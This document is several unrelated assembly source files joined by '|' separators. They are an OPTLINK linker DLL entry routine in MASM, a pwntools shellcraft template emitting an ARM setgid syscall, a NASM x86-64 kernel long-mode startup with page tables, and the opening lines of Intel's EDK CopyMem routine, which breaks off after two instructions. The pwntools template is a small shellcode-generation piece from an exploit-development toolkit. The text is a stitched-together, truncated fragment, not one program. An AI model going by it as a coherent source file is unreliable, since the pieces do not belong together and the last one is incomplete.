EXTERNDEF MAP_THREAD_HANDLE:DWORD,LIB_THREAD_LOCALS:DWORD,EXE_DEVICE:DWORD,MAP_DEVICE:DWORD
EXTERNDEF ENVIRONMENT_BLOCK:DWORD
EXTERNDEF TOOL_CALLBACKS:TOOL_CALLBACKS_STRUCT,TOOL_MESSAGE:TOOL_MESSAGE_STRUCT,TOOL_DATA:TOOL_DATA_STRUCT
EXTERNDEF LIB_REQUEST_ORDER_SEM:GLOBALSEM_STRUCT,GLOBALALLOC_SEM:GLOBALSEM_STRUCT
EXTERNDEF SEGS_ORDERED_SEM:GLOBALSEM_STRUCT,EXPS_DEFINED_SEM:GLOBALSEM_STRUCT,PUBS_DEFINED_SEM:GLOBALSEM_STRUCT
EXTERNDEF MAPLINES_OK_SEM:GLOBALSEM_STRUCT,START_DEFINED_SEM:GLOBALSEM_STRUCT,XREF_OK_SEM:GLOBALSEM_STRUCT
.CODE ROOT_TEXT
EXTERNDEF OPTLINK:PROC,CANCEL_TERMINATE:PROC,XCNOTIFY:PROC,_close_semaphores:proc,TERMINATE_OPREADS:PROC
EXTERNDEF CLOSE_HANDLE:PROC,CLOSE_LIB_FILES:PROC,RELEASE_4K_SEGMENT:PROC,HANDLE_EOF:PROC,END_OF_INDIRECT:PROC
EXTERNDEF DO_DOSSLEEP_0:PROC,CAPTURE_EAX:PROC,RELEASE_EAX:PROC,RELEASE_EAX_BUMP:PROC,INIT_EAX:PROC
EXTERNDEF MOVE_ASCIZ_ECX_EAX:PROC
DLL_ENTRY PROC
;
;CALLED FROM MAKE
;
;FIRST PARAM IS # OF ARGUMENTS (INT)
;SECOND IS PTR TO ARGUMENT ARRAY
;THIRD IS PTR TO CALLBACK ARRAY
;
;int DLLEXPORT DllEntry(int argc, char *argv[], tToolCallbacks *pCallbacks)
;
ARGC EQU <(DPTR [EBP+8])>
ARGV EQU <(DPTR [EBP+12])>
CALLBACK EQU <(DPTR [EBP+16])>
PUSH EBP
MOV EBP,ESP
PUSHM EDI,ESI,EBX
MOV ESI,CALLBACK
ASSUME ESI:PTR TOOL_CALLBACKS_STRUCT
CMP [ESI]._TCB_VERSION,VERSION_TOOLCALLBACKS
JZ L1$
L9$:
;
;HERE WE FAILED, BUT HAVE ALLOCATED NOTHING
;
OR AL,1
POPM EBX,ESI,EDI
POP EBP
RET 12
L1$:
PUSHM -1,0
PUSH OFF XCNOTIFY
ASSUME FS:NOTHING
PUSH DWORD PTR FS:[0]
MOV FS:[0],ESP
ASSUME ESI:NOTHING
;
;ZERO OUT BSS
;
MOV EDI,OFF BEGIN_BSS
MOV ECX,OFF FINISH_BSS+4
XOR EAX,EAX
SUB ECX,EDI
SHR ECX,2
MOV EDX,INITIALIZED_DATA_PTR
REP STOSD
;
;EITHER SAVE OR RESTORE R/W INITIALIZED DATA
;
TEST EDX,EDX
JNZ DATA_RESTORE
;
;DATA SAVE
;
MOV ESI,OFF BEGIN_DATA
ASSUME ESI:NOTHING
MOV EBX,OFF FINISH_DATA+4
SUB EBX,ESI
PUSH PAGE_READWRITE
PUSH MEM_RESERVE+MEM_COMMIT
PUSH EBX
PUSH 0
CALL VirtualAlloc
TEST EAX,EAX
JZ L9$
MOV ECX,EBX
MOV EDI,EAX
SHR ECX,2
MOV INITIALIZED_DATA_PTR,EAX
REP MOVSD
JMP DATA_CONTINUE
DATA_RESTORE:
MOV EDI,OFF BEGIN_DATA
MOV ECX,OFF FINISH_DATA+4
SUB ECX,EDI
MOV ESI,EDX
SHR ECX,2
REP MOVSD
DATA_CONTINUE:
;
;MOVE CALLBACKS STRUCTURE
;
MOV ESI,CALLBACK
ASSUME ESI:PTR TOOL_CALLBACKS_STRUCT
MOV EDI,OFF TOOL_CALLBACKS
MOV ECX,SIZE TOOL_CALLBACKS_STRUCT/4
REP MOVSD
;
;DOES THIS HOST SUPPORT THREADS?
;
; MOV HOST_ESP,ESP
CALL GetVersion ;HIGH BIT 0 MEANS NT, HIGH TWO BITS ON
;MEANS CHICAGO...
OR EAX,EAX
JNS DO_MT
SHR EAX,30
CMP AL,3
JNZ NOT_MT
DO_MT:
SETT HOST_THREADED
NOT_MT:
;
;MOVE ARGC AND ARGV TO MY NEW DGROUP
;
MOV EAX,ARGC
MOV ECX,ARGV
MOV MY_ARGC,EAX
MOV MY_ARGV,ECX
TEST EAX,EAX
JZ L9$
BITT HOST_THREADED
JZ NOT_THREADED
;
;
;
CALL CREATE_MANUAL_EVENT
MOV MY_EVENT_HANDLE,EAX
MOV EAX,OFF ERROR1_SEM
CALL INIT_EAX
MOV EAX,OFF ASCIZ1_SEM
CALL INIT_EAX
PUSH OFF MAIN_THREAD_ID
PUSH 0 ;DON'T CREATE SUSPENDED
PUSH 0 ;NUL PARAMETER
PUSH OFF MAIN_THREAD ;THREAD HEAD
PUSH 8K ;STACK COMMIT SIZE
PUSH 0 ;SECURITY DESCRIPTOR
CALL CreateThread
TEST EAX,EAX
JZ NOT_THREADED
MOV MAIN_THREAD_HANDLE,EAX
MOV MAIN_THREAD_HANDLE_A,EAX
; MOV MULTIPLE_LIST,EAX
MOV EAX,OFF TOOL_DATA ;DISPLAY TOOL NAME, ETC
CALL REPORT_ACTIVITY
;
;NOW WAIT FOR SOMEONE TO REQUEST TERMINATION
;
; MOV EAX,MAIN_THREAD_HANDLE
; PUSH -1
; PUSH EAX
; CALL WaitForSingleObject
L11$:
; PUSH 200 ;MILLISECONDS, .2 SECONDS, 5 TIMES A SECOND IF NOTHING ELSE TO DO...
; PUSH 0 ;RETURN IF ANY SIGNALLED
; PUSH OFF MULTIPLE_LIST
; PUSH 2 ;FOR NOW, JUST REPORT_ASCIZ AND TERMINATE ARE SUPPORTED
; CALL WaitForMultipleObjects
MOV EAX,MY_EVENT_HANDLE
PUSH 200
PUSH EAX
CALL WaitForSingleObject
;
;HERE, WE HAVE ONE OR MORE OF THE FOLLOWING:
; 1.) A FILENAME TO REPORT, ITS IN REPORT_ASCIZ1
; 2.) AN ERROR MESSAGE TO REPORT, ITS IN ???
; 3.) TIME-OUT, BETTER YIELD FOR ARUBER AND CHECK STOP FLAG
; 4.) TERMINATION, GOOD-BYE
;
CMP EAX,WAIT_TIMEOUT
JZ L18$
L12$:
PUSH MY_EVENT_HANDLE
CALL ResetEvent
;
;HIGHEST PRIORITY IS ERROR MESSAGE STUFF
;
BITT ASCIZ1_WAITING
JZ L14$
CALL DO_ASCIZ1
L14$:
BITT ERROR1_WAITING
JZ L16$
L15$:
CALL DO_ERROR1
JMP L12$
L16$:
MOV EAX,MAIN_THREAD_HANDLE
TEST EAX,EAX
JNZ L18$
BITT ERROR1_WAITING
JNZ L15$
JMP DLL_TERMINATED
L18$:
CALL DO_TIME_OUT ;NOTHING TO DO, JUST CHECK STOP FLAG
JMP L11$
MAIN_THREAD:
PUSHM -1,0
PUSH OFF XCNOTIFY
ASSUME FS:NOTHING
PUSH DWORD PTR FS:[0]
MOV FS:[0],ESP
JMP MAIN_THREAD_CONT
NOT_THREADED:
RESS HOST_THREADED
MOV EAX,OFF TOOL_DATA ;DISPLAY TOOL NAME, ETC
CALL REPORT_ACTIVITY
MAIN_THREAD_CONT:
MOV EDX,MY_ARGC
MOV ESI,MY_ARGV ;ARGV[0]
ASSUME ESI:NOTHING
; MOV ERR_COUNT,1
; DEBMSG 'Argument Count',DX
;
;SCAN ARGUMENTS, ADDING UP SIZES
;
XOR EBX,EBX ;TOTAL LENGTH
L2$:
MOV EDI,[ESI]
ADD ESI,4
MOV ECX,-1
XOR EAX,EAX
REPNE SCASB
INC ECX
SUB EBX,ECX
DEC EDX
JNZ L2$
LEA EAX,[EBX+6] ;ADD ';', CR
;
;BX IS SEGMENT SIZE TO ALLOCATE
;
; DEBMSG 'CMDLINE Length',BX
PUSH PAGE_READWRITE
PUSH MEM_RESERVE+MEM_COMMIT
PUSH EAX
PUSH 0
CALL VirtualAlloc
TEST EAX,EAX
JZ DLL_QUIT
MOV EDI,EAX
MOV CMDLINE_BLOCK,EAX
; DEBMSG 'Copying CMDLINE'
;
;SCAN ARGUMENTS AGAIN, BUILDING COMMAND LINE AS YOU GO
;
MOV ECX,MY_ARGC
MOV EBX,MY_ARGV
L3$:
MOV ESI,[EBX] ;NEXT PARAMETER
ADD EBX,4
L31$:
MOV AL,[ESI] ;COPY IT
INC ESI
MOV [EDI],AL
INC EDI
OR AL,AL
JNZ L31$
MOV BPTR [EDI-1],' '
CMP CMDLINE_PTR,0
JNZ L32$
MOV CMDLINE_PTR,EDI ;END OF NAME
L32$:
DEC ECX
JNZ L3$
; ALLMSG 'CMDLINE Copied'
;
;SEE IF CMDLINE CALL IS WANTED
;
CMP TOOL_CALLBACKS._TCB_REPORT_MESSAGE,0
JZ L35$
;
;NULL TERMINATE IT FOR HOST
;
PUSH EDI
XOR AL,AL
STOSB
;
;SET UP TOOL_MSG FOR CMDLINE CALL
;
MOV EAX,OFF TOOL_MESSAGE
ASSUME EAX:PTR TOOL_MESSAGE_STRUCT
XOR ECX,ECX
MOV EDX,CMDLINE_BLOCK
MOV [EAX]._TMSG_VERSION,TOOLMSG_VERSION
MOV [EAX]._TMSG_MSGTYPE,EMSG_TOOL_CMDLINE
MOV [EAX]._TMSG_MSGTEXT,EDX
MOV [EAX]._TMSG_FILENAME,ECX
MOV [EAX]._TMSG_LINENUMBER,K_NOLINENUMBER
MOV [EAX]._TMSG_COLNUMBER,K_NOCOLNUMBER
MOV [EAX]._TMSG_MSGNUMBER,K_NOMSGNUMBER
; ALLMSG 'Calling REPORT_MESSAGE'
CALL REPORT_MESSAGE
ASSUME EAX:NOTHING
POP EDI
L35$:
MOV EAX,';'+0DH*256
STOSW
SUB EDI,CMDLINE_PTR
MOV CMDLINE_LENGTH,EDI
; ALLMSG 'CMDLINE Reported'
;
;YIELD ONCE
;
MOV YIELD_COUNT,K_YIELD_ON
CALL REPORT_PROGRESS1
; ALLMSG 'YIELDed Once'
TEST EAX,EAX
JNZ DLL_TERMINATE
;
;GO LINK
;
; ALLMSG 'Calling OPTLINK'
CALL OPTLINK
;
;DONE LINK
;
; ALLMSG 'Back From OPTLINK'
DLL_QUIT:
; BITT HOST_THREADED
; JZ DLL_TERMINATED
; PUSH 0
; CALL ExitThread
DLL_TERMINATE::
DLL_TERMINATED:
; ALLMSG 'TERMINATE ALL THREADS'
SETT FINAL_ABORTING
CALL TERMINATE_ALL_THREADS ;MAKE SURE ALL THREADS BUT ME ARE TERMINATED
; ALLMSG 'CLOSE SEMAPHORES'
call _close_semaphores ;CLOSE ALL SEMAPHORES
; ALLMSG 'CLOSE FILES'
CALL CLOSE_FILES ;CLOSE ALL OPEN FILE HANDLES
CALL CLOSE_MY_EVENTS ;
;
;RELEASE COMMAND LINE SEGMENT
;
; ALLMSG 'RELEASE CMDLINE'
MOV EAX,CMDLINE_BLOCK
PUSH MEM_RELEASE
PUSH 0 ;RELEASE ALL
PUSH EAX
CALL VirtualFree
;
;RELEASE ANY UNRELEASED MEMORY
;
; ALLMSG 'RELEASE ALL MEMORY'
MOV EDI,OFF GLOBAL_BLOCKS
MOV ECX,8K
L6$:
XOR EAX,EAX
REPE SCASB
MOV EDX,EDI
JZ L68$
SUB EDX,OFF GLOBAL_BLOCKS+1
PUSH ECX
MOV AL,[EDI-1]
MOV EBX,8
L61$:
SHL AL,1
JNC L67$
PUSHM EDX,EAX
LEA EAX,[EDX*8+EBX-1]
PUSH MEM_RELEASE
SHL EAX,16
PUSH 0 ;RELEASE ALL
PUSH EAX
CALL VirtualFree
TEST EAX,EAX
JZ RELEASE_ERROR
POPM EAX,EDX
L67$:
DEC EBX
JNZ L61$
POP ECX
JMP L6$
RELEASE_ERROR:
ALLMSG 'MEMORY RELEASE ERROR'
POPM EAX,EDX,ECX
L68$:
MOV EAX,ENVIRONMENT_BLOCK
PUSH EAX
CALL FreeEnvironmentStrings
; ALLMSG 'READY TO RETURN'
ASSUME FS:NOTHING
POP DPTR FS:0
POPM ECX,EDX,ECX
MOV EAX,ERR_COUNT
POPM EBX,ESI,EDI
POP EBP
RET 12
DLL_ENTRY ENDP
_NetSpawnVersion PROC
;
;CALLED FROM DLLRUN
;
MOV EAX,NETSPAWN_VERSION
RET
_NetSpawnVersion ENDP
_DllVersion PROC
;
;CALLED FROM ????
;
MOV EAX,RELEASE_NUM
RET
_DllVersion ENDP
DO_ERROR1 PROC
;
;
;
; CAPTURE ERROR1_SEM ;MAKE SURE I OWN BUFFER
XOR EAX,EAX
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_MESSAGE
RESS ERROR1_WAITING,AL
PUSH OFF MY_TOOL_MESSAGE_STRUCT
CALL ECX
RELEASE_BUMP ERROR1_SEM ;RELEASE BUFFER
JMP DO_TIME_OUT
DO_ERROR1 ENDP
REPORT_MESSAGE PROC
;
;EAX IS TOOL_MESSAGE
;
; ALLMSG 'Report Message'
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_MESSAGE
GETT DL,HOST_THREADED
TEST ECX,ECX
JZ L9$
TEST DL,DL
JNZ L1$
PUSH EAX
CALL ECX
; ALLMSG 'Return From Report Message'
L9$:
RET
L1$:
CAPTURE ERROR1_SEM ;CAPTURE ERROR BUFFER
;
;COPY STUFF...
;
PUSHM EDI,ESI
MOV ESI,EAX
MOV EDI,OFF MY_TOOL_MESSAGE_STRUCT
ASSUME ESI:PTR TOOL_MESSAGE_STRUCT
ASSUME EDI:PTR TOOL_MESSAGE_STRUCT
MOV EAX,[ESI]._TMSG_VERSION
MOV ECX,[ESI]._TMSG_MSGTYPE
MOV [EDI]._TMSG_VERSION,EAX
MOV [EDI]._TMSG_MSGTYPE,ECX
MOV EAX,[ESI]._TMSG_LINENUMBER
MOV ECX,DPTR [ESI]._TMSG_COLNUMBER
MOV DPTR [EDI]._TMSG_COLNUMBER,ECX
MOV ECX,[ESI]._TMSG_FILENAME
MOV [EDI]._TMSG_LINENUMBER,EAX
MOV [EDI]._TMSG_FILENAME,ECX
TEST ECX,ECX
JZ L2$
MOV EAX,OFF MY_TMSG_FILENAME
MOV [EDI]._TMSG_FILENAME,EAX
CALL MOVE_ASCIZ_ECX_EAX
L2$:
MOV ECX,[ESI]._TMSG_MSGTEXT
MOV [EDI]._TMSG_MSGTEXT,ECX
TEST ECX,ECX
JZ L3$
MOV EAX,OFF MY_TMSG_MSGTEXT
MOV [EDI]._TMSG_MSGTEXT,EAX
CALL MOVE_ASCIZ_ECX_EAX
L3$:
POPM ESI,EDI
SETT ERROR1_WAITING
; RELEASE ERROR1_SEM
PUSH MY_EVENT_HANDLE
CALL SetEvent
RET
ASSUME ESI:NOTHING,EDI:NOTHING
REPORT_MESSAGE ENDP
REPORT_ACTIVITY PROC
;
;EAX IS TOOL_DATA
;
PUSH EAX
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_ACTIVITY
TEST ECX,ECX
JZ L8$
CALL ECX
RET
L8$:
POP EAX
RET
REPORT_ACTIVITY ENDP
DO_TIME_OUT PROC
;
;YIELD TO SUPER SLOW BUILD SYSTEM
;
PUSHM EDX,ECX,EAX
CALL REPORT_PROGRESS1
OR EAX,EAX
JZ L1$
SETT CANCEL_REQUESTED
L1$:
POPM EAX,ECX,EDX
RET
DO_TIME_OUT ENDP
REPORT_PROGRESS PROC
;
;
;
; ALLMSG 'Report Progress'
PUSHM EDX,ECX,EAX
GETT AL,HOST_THREADED
TEST AL,AL
JNZ L5$
CALL REPORT_PROGRESS1
OR EAX,EAX
JNZ L9$
L1$:
POPM EAX,ECX,EDX
; ALLMSG 'Return From Report Progress'
RET
L5$:
BITT CANCEL_REQUESTED
JZ L1$
CALL GetCurrentThreadId
CMP MAIN_THREAD_ID,EAX ;IGNORE CANCEL FROM ANYTHING BUT MAIN THREAD
JNZ L7$
L9$:
SETT CANCEL_REQUESTED
BITT NO_CANCEL_FLAG ;ONLY ALLOW ONE CANCEL NOTIFICATION
JNZ L1$
SETT NO_CANCEL_FLAG
JMP CANCEL_TERMINATE
L7$:
;
;MUST BE MAP THREAD...
;
PUSH 0
CALL ExitThread
REPORT_PROGRESS ENDP
REPORT_PROGRESS1 PROC
MOV ECX,TOOL_CALLBACKS._TCB_YIELD_MODE
XOR EAX,EAX
CMP ECX,YIELD_NEVER
JZ L8$
CMP ECX,YIELD_MODERATE
JNZ L2$
DEC YIELD_COUNT
JNZ L8$
MOV YIELD_COUNT,K_YIELD_ON
L2$:
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_PROGRESS
PUSH K_NOLINENUMBER
TEST ECX,ECX
JZ L9$
CALL ECX
L8$:
RET
L9$:
POP ECX
RET
REPORT_PROGRESS1 ENDP
DO_ASCIZ1 PROC
;
;
;
CAPTURE ASCIZ1_SEM ;MAKE SURE I OWN BUFFER
MOV ECX,OFF ASCIZ1
MOV EAX,OFF ASCIZ2
RESS ASCIZ1_WAITING
CALL MOVE_ASCIZ_ECX_EAX
; PUSH REPORT_ASCIZ_EVENT_HANDLE ;RESET PULSE EVENT
; CALL ResetEvent
RELEASE_BUMP ASCIZ1_SEM ;RELEASE BUFFER
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_FILE
PUSHM 1,OFF ASCIZ2
CALL ECX
RET
DO_ASCIZ1 ENDP
REPORT_ASCIZ PROC
;
;EAX IS ASCIZ STRING - FILENAME WE JUST OPENED FOR INPUT
;
PUSHM EDX,ECX
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_FILE
GETT DL,HOST_THREADED
TEST ECX,ECX
JZ L8$
TEST DL,DL
JZ L7$
MOV ECX,EAX
MOV EAX,OFF ASCIZ1
CAPTURE ASCIZ1_SEM
CALL MOVE_ASCIZ_ECX_EAX
SETT ASCIZ1_WAITING
RELEASE ASCIZ1_SEM
PUSH MY_EVENT_HANDLE ;FREE MASTER THREAD
CALL SetEvent
JMP L8$
L7$:
; ALLMSG 'Report ASCIZ'
PUSHM 1,EAX
CALL ECX
L8$:
POPM ECX,EDX
; ALLMSG 'Return From Report ASCIZ'
RET
REPORT_ASCIZ ENDP
REPORT_OUT_ASCIZ PROC
;
;ASCIZ IS OUTPUT FILENAME
;
RET
IF 0
PUSHM ES,DS,DX,CX,BX,AX
FIXDS
MOV AX,TOOL_CALLBACKS._TCB_REPORT_FILE.OFFS
MOV BX,TOOL_CALLBACKS._TCB_REPORT_FILE.SEGM
MOV CX,SP
OR BX,BX
JZ 8$
MOV SS,HOST_SS
ASSUME SS:NOTHING
MOV SP,HOST_SP
PUSH CX
PUSHM DS,OFF ASCIZ,0
PUSHM CS,OFF 5$
PUSHM BX,AX
RETF
5$:
POP CX
MOV AX,DS
MOV SS,AX
ASSUME SS:DGROUP
MOV SP,CX
8$:
; ALLMSG 'OUT FILE'
POPM AX,BX,CX,DX,DS,ES
RET
ENDIF
REPORT_OUT_ASCIZ ENDP
REPORT_CLOSE_ASCIZ PROC
;
;ASCIZ IS OUTPUT FILENAME
;
RET
PUSHM EDX,ECX
MOV ECX,TOOL_CALLBACKS._TCB_REPORT_FILE
TEST ECX,ECX
JZ L8$
; MOV ASCIZ,0 ;FOR 16-BIT, HAD TO SEND NUL FILENAME
; PUSHM OFF ASCIZ,1
PUSHM EAX,-1
CALL ECX
L8$:
POPM ECX,EDX
RET
REPORT_CLOSE_ASCIZ ENDP
TERMINATE_ALL_THREADS PROC
;
;IF MAIN_THREAD STILL RUNNING, TERMINATE IT AND EXIT THIS THREAD
;CAUSE WE WANT THIS TO HAPPEN ON HOST THREAD.
;
BITT HOST_THREADED
JNZ L0$
RET
L0$:
XOR EAX,EAX
XCHG EAX,MAIN_THREAD_HANDLE
TEST EAX,EAX
JZ L1$
PUSH EAX
PUSH MY_EVENT_HANDLE ;FREE HOST THREAD
CALL SetEvent ;IF IT STARTS, MAIN_THREAD_HANDLE ALREADY ZEROED...
CALL GetCurrentThreadId
CMP MAIN_THREAD_ID,EAX
JZ L05$
POP EAX
PUSH 0 ;THREAD EXIT CODE
PUSH EAX ;THIS IS ONLY ON FATAL ABORTS
CALL TerminateThread ;PROBABLY ME
L05$:
PUSH 0
CALL ExitThread ;BUT NOT IF ERR_ABORT ON SOME OTHER THREAD...
L1$:
SETT CANCEL_REQUESTED ;MAP WILL EVENTUALLY STOP...
;
;FIRST STOP ANY MAP THREAD
;
XOR EAX,EAX
XCHG EAX,MAP_THREAD_HANDLE
TEST EAX,EAX
JZ L2$
PUSH EAX ;THIS IS ONLY ON FATAL ABORTS & STOPS
MOV EAX,OFF SEGS_ORDERED_SEM ;MAKE SURE THREAD WAITS
CALL RELEASE_EAX
MOV EAX,OFF EXPS_DEFINED_SEM
CALL RELEASE_EAX
MOV EAX,OFF PUBS_DEFINED_SEM ;PUBLICS DEFINED
CALL RELEASE_EAX
MOV EAX,OFF MAPLINES_OK_SEM
CALL RELEASE_EAX
MOV EAX,OFF START_DEFINED_SEM ;START ADDRESS DEFINED
CALL RELEASE_EAX
MOV EAX,OFF XREF_OK_SEM ;DONE WITH SYMBOL ADDRESSES...
CALL RELEASE_EAX
if any_overlays
MOV EAX,OFF SECTIONMAP_OK_SEM
CALL RELEASE_EAX
endif
CALL DO_DOSSLEEP_0
CALL CloseHandle
L2$:
CALL DO_DOSSLEEP_0
CALL DO_DOSSLEEP_0
MOV EAX,MAIN_THREAD_HANDLE_A
TEST EAX,EAX
JZ L15$
PUSH EAX
CALL CloseHandle
L15$:
;
;NEXT, TERMINATE ANY LIBRARY READER THREADS
;
BITT OPREADS_DONE
JNZ L6$
BITT LIBS_DONE
JNZ L39$
SETT LIBS_DONE ;TELL LIB THREADS TO QUIT
MOV ESI,OFF LIB_THREAD_LOCALS
MOV EDI,N_R_THREADS
L21$:
MOV EBX,[ESI]
ADD ESI,4
ASSUME EBX:PTR MYL2_STRUCT
TEST EBX,EBX
JZ L219$
;
;DO WHATEVER IS NEEDED TO BUMP THIS THREAD TO CHECK LIBS_DONE FLAG
;
LEA EAX,[EBX].MYL2_LIB_BLOCK_SEM
CALL RELEASE_EAX
RELEASE LIB_REQUEST_ORDER_SEM
RELEASE GLOBALALLOC_SEM ;IN CASE SOMEBODY STOPPED IN HERE...
L219$:
DEC EDI
JNZ L21$
CALL TERMINATE_OPREADS
;
;WAIT ON LIB_THREAD 'FINISHED' SEMAPHORES
;
MOV ESI,OFF LIB_THREAD_LOCALS
MOV EBX,N_R_THREADS
L22$:
LODSD
TEST EAX,EAX
JZ L229$
MOV EAX,[EAX].MYL2_STRUCT.MYL2_LIBREAD_THREAD_HANDLE
PUSH EAX ;XTRA HANDLE
PUSH -1 ;FOREVER
PUSH EAX
CALL WaitForSingleObject
CALL CloseHandle ;CLOSE IT...
L229$:
DEC EBX
JNZ L22$
L39$:
;
;TERMINATE OPREAD THREADS ALSO
;
CALL TERMINATE_OPREADS ;NORMALLY, SO THEY CLOSE FILES, RELEASE SEMAPHORES, ETC
;
;FINALLY, RELEASE THEIR STACKS...
;
MOV ESI,OFF LIB_THREAD_LOCALS
MOV EBX,N_R_THREADS
L51$:
XOR ECX,ECX
MOV EDI,[ESI]
MOV [ESI],ECX
ADD ESI,4
TEST EDI,EDI
JZ L55$
ASSUME EDI:PTR MYL2_STRUCT
lea EAX,[EDI].MYL2_LIB_BLOCK_SEM
push EAX
call _close_semaphore
add ESP,4
L52$:
lea EAX,[EDI].MYL2_BLOCK_READ_SEM
push EAX
call _close_semaphore
add ESP,4
L53$:
MOV EAX,EDI
CALL RELEASE_4K_SEGMENT
ASSUME EDI:NOTHING
L55$:
DEC EBX
JNZ L51$
L6$:
RET
TERMINATE_ALL_THREADS ENDP
CLOSE_FILES PROC
;
;CLOSE ANY OPEN FILES
;
;WHAT MIGHT BE OPEN? WE TERMINATED ALL READ THREADS. MAYBE
;LIBRARIES?
;
XOR ECX,ECX
MOV EAX,EXE_DEVICE ;NOTHING THERE, DON'T NEED TO CLOSE IT...
ASSUME EAX:PTR MYO_STRUCT
TEST EAX,EAX
JZ L1$
MOV EDX,[EAX].MYO_HANDLE
MOV [EAX].MYO_HANDLE,ECX
OR EDX,EDX
JZ L1$
MOV EAX,EDX
CALL CLOSE_HANDLE
L1$:
XOR ECX,ECX
MOV EAX,MAP_DEVICE ;NOTHING THERE, DON'T NEED TO CLOSE IT...
TEST EAX,EAX
JZ L2$
MOV EDX,[EAX].MYO_HANDLE
MOV [EAX].MYO_HANDLE,ECX
OR EDX,EDX
JZ L2$
MOV EAX,EDX
CALL CLOSE_HANDLE
L2$:
XOR ECX,ECX
MOV EAX,OBJ_DEVICE ;NOTHING THERE, DON'T NEED TO CLOSE IT...
ASSUME EAX:PTR MYI_STRUCT
TEST EAX,EAX
JZ L3$
MOV EDX,[EAX].MYI_HANDLE
MOV [EAX].MYI_HANDLE,ECX
OR EDX,EDX
JZ L3$
MOV EAX,EDX
CALL CLOSE_HANDLE
L3$:
ASSUME EAX:NOTHING
CALL HANDLE_EOF
CALL END_OF_INDIRECT
CALL CLOSE_LIB_FILES
RET
CLOSE_FILES ENDP
CREATE_MANUAL_EVENT PROC
;
;
;
PUSH 0 ;NO NAME
PUSH 0 ;NOT SET INITIALLY
PUSH -1 ;TRUE, MANUAL EVENT
PUSH 0 ;SECURITY
CALL CreateEvent
RET
CREATE_MANUAL_EVENT ENDP
CLOSE_MY_EVENTS PROC
XOR ECX,ECX
MOV EAX,MY_EVENT_HANDLE
TEST EAX,EAX
JZ L1$
MOV MY_EVENT_HANDLE,ECX
CALL CLOSE_HANDLE
L1$:
MOV EAX,OFF ASCIZ1_SEM
CALL CLOSE_SEM
MOV EAX,OFF ERROR1_SEM
CALL CLOSE_SEM
RET
CLOSE_MY_EVENTS ENDP
CLOSE_SEM PROC
ASSUME EAX:PTR GLOBALSEM_STRUCT
push EAX
call _close_semaphore
add ESP,4
RET
CLOSE_SEM ENDP
.DATA
MAIN_THREAD_ID DD 0
MAIN_THREAD_HANDLE DD 0
MAIN_THREAD_HANDLE_A DD 0
INITIALIZED_DATA_PTR DD 0
MY_EVENT_HANDLE DD 0
MY_TOOL_MESSAGE_STRUCT TOOL_MESSAGE_STRUCT <>
.DATA?
ASCIZ1 DB 512 DUP(?)
ASCIZ2 DB 512 DUP(?)
MY_TMSG_MSGTEXT DB 512 DUP(?)
MY_TMSG_FILENAME DB 512 DUP(?)
ASCIZ1_SEM GLOBALSEM_STRUCT <>
ERROR1_SEM GLOBALSEM_STRUCT <>
END
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="gid"/>
<%docstring>
Invokes the syscall setgid. See 'man 2 setgid' for more information.
Arguments:
gid(gid_t): gid
</%docstring>
${syscall('SYS_setgid', gid)}
|
[bits 64]
section .text
global long_mode_start
long_mode_start:
mov ax, cs
cmp ax, CODE_SEG
jne .no_correct_code_seg
mov ax, 0
mov ss, ax
mov ds, ax
mov es, ax
;mov fs, ax
;mov gs, ax
mov rax, cr3
add rax, KERNEL_LMA
mov qword [rax], 0x0
invlpg [0]
mov rsp, loader_stack_top
and rsp, ~8 ; Make sure rsp + 8 is 16 byte aligned as mandated by the SysV ABI
mov rbp, 0
extern _start_multiboot_info
extern _start_multiboot_magic
mov rsi, 0
mov esi, dword [_start_multiboot_magic]
mov rdi, 0
mov edi, dword [_start_multiboot_info]
add rdi, KERNEL_LMA
cld
[extern kernel_loader_main]
jmp kernel_loader_main
.no_correct_code_seg:
mov al, '6'
call long_mode_error
long_mode_error:
mov dword [RAW_VGA_BUFFER], 0x4f524f45
mov dword [RAW_VGA_BUFFER + 4], 0x4f3a4f52
mov dword [RAW_VGA_BUFFER + 8], 0x4f204f20
mov byte [RAW_VGA_BUFFER + 12], al
cli
hlt
section .bss
align 16
loader_stack_bottom:
resb 0x4000
loader_stack_top:
section .data
align 0x1000
global p4_table
p4_table:
dq p3_table - KERNEL_LMA + 3
times 255 dq 0
dq p3_table - KERNEL_LMA + 3
times 254 dq 0
dq p3_table - KERNEL_LMA + 3
p3_table:
dq p2_tableA - KERNEL_LMA + 3
dq p2_tableB - KERNEL_LMA + 3
dq p2_tableC - KERNEL_LMA + 3
dq p2_tableD - KERNEL_LMA + 3
dq p2_tableE - KERNEL_LMA + 3
times 505 dq 0
dq p2_tableA - KERNEL_LMA + 3
times 1 dq 0
%macro gen_pd_2mb 3
%assign i %1
%rep %2
dq (i | 0x83)
%assign i i+0x200000
%endrep
%rep %3
dq 0
%endrep
%endmacro
p2_tableA:
gen_pd_2mb 0,512,0
p2_tableB:
gen_pd_2mb 1 * (0x200000 * 512), 512, 0
p2_tableC:
gen_pd_2mb 2 * (0x200000 * 512), 512, 0
p2_tableD:
gen_pd_2mb 3 * (0x200000 * 512), 512, 0
p2_tableE:
gen_pd_2mb 4 * (0x200000 * 512), 512, 0
KERNEL_LMA equ 0xffffffff80000000
CODE_SEG equ 0x08
RAW_VGA_BUFFER equ (0xb8000 + KERNEL_LMA) |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; CopyMem.Asm
;
; Abstract:
;
; CopyMem function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemCopyMem (
; IN VOID *Destination,
; IN VOID *Source,
; IN UINTN Count
; )
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemCopyMem)
ASM_PFX(InternalMemCopyMem):
push rsi
push rdi
